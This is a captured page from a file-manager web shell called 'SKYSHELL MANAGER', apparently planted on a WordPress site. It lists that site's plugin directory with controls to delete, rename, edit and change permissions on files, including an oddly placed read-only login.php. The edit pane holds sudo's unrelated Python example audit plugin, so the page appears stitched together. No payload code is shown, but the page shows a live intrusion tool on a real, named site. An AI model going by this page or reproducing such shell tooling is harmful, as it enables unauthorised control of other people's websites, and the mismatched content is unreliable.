📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
5159.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: example_audit_plugin.py
import sudo import os VERSION = 1.0 class SudoAuditPlugin(sudo.Plugin): def __init__(self, plugin_options, user_info, **kwargs): # For loading multiple times, an optional "Id" can be specified # as argument to identify the log lines plugin_id = sudo.options_as_dict(plugin_options).get("Id", "") self._log_line_prefix = "(AUDIT{}) ".format(plugin_id) user_info_dict = sudo.options_as_dict(user_info) user = user_info_dict.get("user", "???") uid = user_info_dict.get("uid", "???") self._log("-- Started by user {} ({}) --".format(user, uid)) def __del__(self): self._log("-- Finished --") def open(self, submit_optind: int, submit_argv: tuple) -> int: # To cut out the sudo options, use "submit_optind": program_args = submit_argv[submit_optind:] if program_args: self._log("Requested command: " + " ".join(program_args)) def accept(self, plugin_name, plugin_type, command_info, run_argv, run_envp) -> int: info = sudo.options_as_dict(command_info) cmd = list(run_argv) cmd[0] = info.get("command") self._log("Accepted command: {}".format(" ".join(cmd))) self._log(" By the plugin: {} (type={})".format( plugin_name, self.__plugin_type_str(plugin_type))) self._log(" Environment: " + " ".join(run_envp)) def reject(self, plugin_name, plugin_type, audit_msg, command_info) -> int: self._log("Rejected by plugin {} (type={}): {}".format( plugin_name, self.__plugin_type_str(plugin_type), audit_msg)) def error(self, plugin_name, plugin_type, audit_msg, command_info) -> int: self._log("Plugin {} (type={}) got an error: {}".format( plugin_name, self.__plugin_type_str(plugin_type), audit_msg)) def close(self, status_kind: int, status: int) -> None: if status_kind == sudo.EXIT_REASON.NO_STATUS: self._log("The command was not executed") elif status_kind == sudo.EXIT_REASON.WAIT_STATUS: if os.WIFEXITED(status): self._log("Command returned with exit code " "{}".format(os.WEXITSTATUS(status))) elif os.WIFSIGNALED(status): self._log("Command exited due to signal " "{}".format(os.WTERMSIG(status))) else: raise sudo.PluginError("Failed to understand wait exit status") elif status_kind == sudo.EXIT_REASON.EXEC_ERROR: self._log("Sudo has failed to execute the command, " "execve returned {}".format(status)) elif status_kind == sudo.EXIT_REASON.SUDO_ERROR: self._log("Sudo has run into an error: {}".format(status)) else: raise Exception("Command returned unknown status kind {}".format( status_kind)) def show_version(self, is_verbose: bool) -> int: version_str = " (version=1.0)" if is_verbose else "" sudo.log_info("Python Example Audit Plugin" + version_str) def _log(self, string): # For the example, we just log to output (this could be a file) sudo.log_info(self._log_line_prefix, string) @staticmethod def __plugin_type_str(plugin_type): return sudo.PLUGIN_TYPE(plugin_type).name
Save